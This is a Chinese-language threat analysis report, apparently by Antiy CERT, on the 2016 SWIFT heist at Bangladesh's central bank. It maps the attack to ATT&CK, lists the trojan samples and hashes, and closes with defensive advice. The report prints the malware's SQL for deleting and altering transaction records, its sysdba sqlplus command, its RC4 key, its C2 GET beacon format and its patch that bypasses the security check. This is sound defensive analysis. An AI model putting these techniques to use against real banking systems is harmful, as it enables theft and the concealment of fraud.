孟加拉央行SWIFT被盗事件分析报告
时间 : 2017年11月09日 来源: 安天CERT
1. 概述
自2015年初以来,安天CERT监测网络安全事件时发现多起关于SWIFT银行系统的攻击活动,被攻击的银行系统其中包括厄瓜多尔银行、菲律宾央行、马来西亚央行、越南先锋银行和孟加拉国央行等。在多家银行受到攻击后,涉案金额越来越多,从厄瓜多尔银行损失1200万美元到孟加拉国央行损失8100万美元,黑客盗走账户中的至少一亿美元的资金,目前1亿资金其中有2千万由于攻击者拼写错误导致转账失败,另有一部分在菲律宾已追回。针对SWIFT银行系统的攻击活动在全球范围内引起了高度的重视,该系统所存在的安全隐患也不容小觑。
据当地消息称,孟加拉国央行在自身的网络防护体系中存在安全问题,例如,未使用防火墙设备进行策略配置;各类服务器之间没有做相应的网络隔离;工作人员在SWIFT系统上配置了WIFI访问接入点,其口令保护十分简单;SWIFT服务器使用上没有禁用USB接入等,各类问题成为发生网络安全事件的导火索。
经研究人员分析发现,本次攻击是由4个样本的载荷模块配合完成,包括evtdiag.exe、evtsys.exe、nroff_b.exe和gpca.dat样本文件,主要功能包括:获取SWIFT报文信息、监听交易缓存记录、劫持转账消息ID、监控孟加拉国央行登录行为、绕过SWIFT系统安全机制和篡改交易金额和收款人等功能,从而实现窃取行为,攻击者通过劫持打印机篡改对账单导致工作人员无法及时发现被窃。
经验证,安天智甲终端防御系统(简称IEP)可实现对该窃密木马的查杀与有效防护。
2. 事件对应的ATT&CK映射图谱
本报告中涉及事件为攻击者针对孟加拉央行攻击行动,通过梳理该事件对应的ATT&CK映射图谱,揭示攻击者在该事件中使用的技术点,如下图所示。
图2-1 事件对应的ATT&CK映射图谱
具体ATT&CK技术行为描述如下表所示:
表2-1 事件对应的ATT&CK技术行为描述表
ATT&CK阶段/类别 |
具体行为 |
注释 |
初始访问 |
网络钓鱼 |
通过钓鱼邮件传播 |
执行 |
利用主机软件漏洞执行 |
使用远程命令执行(RCE)漏洞 |
持久化 |
利用BITS服务 |
以Windows服务启动 |
提权 |
利用有效账户 |
利用有效账户提升系统权限 |
防御规避 |
执行流程劫持 |
劫持登录日志 |
防御规避 |
修改身份验证过程 |
修改安全校验机制 |
凭证访问 |
网络嗅探 |
基础架构探测 |
发现 |
发现云基础架构 |
发现SWIFT服务器架构 |
发现 |
发现软件 |
发现SWIFT Alliance Access software软件 |
横向移动 |
利用远程服务器漏洞 |
利用RCE漏洞 |
收集 |
收集本地系统数据 |
收集本地银行信息 |
收集 |
收集信息库数据· |
收集本地银行数据库有关信息 |
命令与控制 |
使用应用层协议 |
使用HTTP协议 |
数据渗出 |
使用C2信道回传 |
向C&C服务器发送GET请求 |
影响 |
篡改可见内容 |
修改对账单 |
影响 |
损毁数据 |
删除交易记录 |
影响 |
操纵数据 |
恶意操作数据 |
3. 事件相关样本及分析
主程序文件:
病毒名称 |
Trojan[Banker]/Win32.Alreay |
原始文件名 |
evtdiag.exe |
MD5 |
24d76abbc0a10e4c977a28b33c879248 |
处理器架构 |
Intel 386 |
文件大小 |
64.0 KB (65,536 字节) |
文件格式 |
Win32 EXE |
时间戳 |
56B48B8C->2016-02-05
19:46:20 |
数字签名 |
NO |
加壳类型 |
NO |
编译语言 |
Microsoft Visual C++ v6.0 |
VT首次上传时间 |
2016-03-26 |
VT检测结果 |
54/68 |
服务方式启动恶意程序:
病毒名称 |
Trojan[Banker]/Win32.Alreay |
原始文件名 |
evtsys.exe |
MD5 |
5d0ffbc8389f27b0649696f0ef5b3cfe |
处理器架构 |
Intel 386 |
文件大小 |
16.0 KB (16,384 字节) |
文件格式 |
Win32 EXE |
时间戳 |
56B35603->2016-02-04
21:45:39 |
数字签名 |
NO |
加壳类型 |
NO |
编译语言 |
Microsoft Visual C++ v6.0 |
VT首次上传时间 |
2016-03-25 |
VT检测结果 |
51/64 |
劫持打印对账单的恶意程序:
病毒名称 |
Trojan[Banker]/Win32.Alreay |
原始文件名 |
nroff_b.exe |
MD5 |
1d0e79feb6d7ed23eb1bf7f257ce4fee |
处理器架构 |
Intel 386 |
文件大小 |
24.0 KB (24,576 字节) |
文件格式 |
Win32 EXE |
时间戳 |
56B46377->2016-02-05
16:55:19 |
数字签名 |
NO |
加壳类型 |
NO |
编译语言 |
Microsoft Visual C++ v6.0 |
VT首次上传时间 |
2016-02-28 |
VT检测结果 |
52/68 |
配置文件:
病毒名称 |
无 |
原始文件名 |
gpca.dat |
MD5 |
f7272bb1374bf3af193ea1d1845b27fd |
文件大小 |
33.0
KB (33,848 字节) |
解释语言 |
bat |
VT首次上传时间 |
2016-04-19 |
VT检测结果 |
7/58 |
3.1 主程序分析
根据分析,可以得到恶意样本攻击流程。
图3-1 攻击流程
3.1.1 攻击准备
攻击者通过种植精心编译的木马得到SWIFT Alliance Access software服务器的权限,重点攻破以下几个关卡达到了窃取非法资金的目的。
获得SWIFT Alliance Access software控制权;
破解SWIFT报文安全检验机制;
监听目标报文并进行篡改操作并实现对账平衡(主要是转入/转出);
劫持打印机打印篡改前对账单。
3.1.2 攻击程序启动
恶意程序evtdiag.exe通过接收不同的参数来实现不同的功能。其中on、pause、resume、off、queue都是对打印机功能的操作,-svc参数则是将木马以evtsys.exe服务启动。
图3-2 恶意软件启动
在运行时,恶意软件读取它的配置文件gpca.dat,该配置文件在服务器的路径如下,并通过同一目录下的recas.dat文件记录日志信息。并且使用RC4进行加密,密钥如下。
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat
密钥:4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed08 ef
3.1.3 登录监控
在数据库中循环搜索包含“登录”的日志记录,其中BBHOBDDH是孟加拉国央行的SWIFT码。
SELECT *
FROM (SELECTJRNL_DISPLAY_TEXT, JRNL_DATE_TIME
FROM SAAOWNER.JRNL_%s
WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDERBY JRNL_DATE_TIME DESC) A
WHERE ROWNUM = 1;
搜索到“登录”记录后向C&C服务器发送一个GET请求,GET请求格式如下。
[C&C_server]/al?[data]
Data有以下三种情况。
---O:Open,检测到登录行为;
---C:Close,检测到注销行为;
---N:None,没有事件发生。
图3-3:搜索数据库查找登录日志
3.1.4 实时监控转账交易
恶意软件监听SWIFT Financial Application (FIN)报文,深入分析转账报文文件。即以下目录中的.PRC和.FAL文件。
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\
从配置文件gpca.dat中读取指定字符串进行搜索。
“FIN 900 Confirmation of Debit”(FIN 900确认借记)
“20: Transaction”(20:交易)
“Sender :”(汇款方)
如果搜索到了指定的字符串则会尝试提取MESG_TRN_REF(汇款人)和MESG_SENDER_SWIFT_ADDRESS(汇款人SWIFT地址)信息,并拼接出一个SQL语句,以获得MESG_S_UMID。MESG_S_UMID是银行收到的汇款请求ID,此ID唯一记录着包括转账账户、收款账户、汇款金额、汇款银行等信息在内的汇款请求信息。
SELECT MESG_S_UMID
FROM SAAOWNER.MESG_%s
WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' ANDMESG_TRN_REF LIKE '%%%s%%';
根据ID在本地数据库中删除相对应的交易记录。此处是为了将恶意攻击者发起的交易记录删除掉。
DELETE FROM SAAOWNER.MESG_%sWHERE MESG_S_UMID = '%s';
DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';
图3-4 删除交易记录
劫持SQL语句并关闭异常输出,防止异常情况被发现。
SET HEADING OFF;
SET LINESIZE 32567;
SET FEEDBACK OFF;
SET ECHO OFF;
SET FEED OFF;
SET VERIFY OFF;
将劫持的SQL语句存入以SQL开头的临时文件中,恶意软件在终端以sysdba的权限来执行SQL语句。
cmd.exe /c echo exit |sqlplus -S / as sysdba@[SQL_Statements]> [OUTPUT_FILE]
图3-5 关闭数据库异常提醒
3.1.5 修改交易余额
恶意软件从以下目录寻找所有的SWIFT报文:
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff
解析报文,获取以下字段所对应的内容。
"19A: Amount"
":Debit"
"Debit/Credit :"
"Sender :"
"Amount :"
"FEDERAL RESERVE BANK"
" D"
" C"
"62F: "
“60F: "
"60M: "
"62M: "
"Credit"
"Debit"
" 64: "
" 20: Transaction"
"90B: Price"
62F:该对帐单结束时的帐面结存的最后余额
60F:该对帐单结束时的帐面结存的起始余额
19A:该对帐单涉及的交易金额
通过MESG_S_UMID查询有多少余额可以转账。
SELECTMESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';
通过UPDATE操作,更改交易余额。
(MESG_FIN_CCY_AMOUNT)
UPDATE SAAOWNER.MESG_%sSET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s';
UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s')WHERE TEXT_S_UMID = '%s';
图3-6 篡改金额
3.1.6 破坏安全校验机制和对账单验证机制
SWIFT系统依靠liboradb.dll的进程对报文的格式、安全性进行校验。因此,恶意软件遍历所有的进程信息,如果找到一个挂载了liboradb.dll进程,它会用NOP指令替换JNZ指令,使得安全校验结果被忽略,绕过SWIFT的报文安全校验机制。
图3-7:绕过安全机制
由于SWIFT系统在进行转账业务时会使用打印机打印对账单以确认交易的发生,这将会暴露出篡改的记录信息,所以恶意攻击者同样需要对打印机进行操作。nroff_b.exe程序劫持要打印的对账单,进行读取,理解并篡改成打印机命令语言(PCL)的PRT文本,修改文本内容进行掩盖,然后这个PRT文本通过SWIFT系统中的nroff.exe程序进行提交打印任务,并随即将临时PRT文本彻底删除。
4 .防御建议
针对本次事件安天CERT 针对银行网络提供如下几点防护建议供参考:
业务资料防止外泄
业务流程文档加密存储
业务职员办公室谨防视频监控
摄像头采取安全措施谨防黑客攻击
银行员工主机防护
杀毒软件及时升级
谨慎点击邮件附带的链接和附件
如果发现未知威胁可以上传至高级威胁检测系统中查看行为
银行关键系统防护
做好内网隔离
及时修补0day漏洞
防止U盘“摆渡”
附录一:参考资料
[1] 来源:Cyber Attacks Targeting SWIFT - Recap
https://www.blueliv.com/research/recap-of-cyber-attacks-targeting-swift/
[2] 来源:TWO BYTES TO $951M
http://baesystemsai.blogspot.hk/2016/04/two-bytes-to-951m.html
http://zh.wikipedia.org/wiki/Bash
附录二:关于安天
安天从反病毒引擎研发团队起步,目前已发展成为以安天实验室为总部,以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰,崇尚自主研发创新,在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合,以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库,综合应用大数据分析、安全可视化等方面经验,推出了应对高级持续性威胁(APT)和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。
全球超过三十家以上的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴,安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、近两亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。
安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位资质,亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。
安天是中国应急响应体系中重要的企业节点,在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中,安天提供了先发预警、深度分析或系统的解决方案。
安天实验室更多信息请访问:http://www.antiy.com(中文) http://www.antiy.net (英文)
安天企业安全公司更多信息请访问:http://www.antiy.cn
安天移动安全公司(AVL TEAM)更多信息请访问:http://www.avlsec.com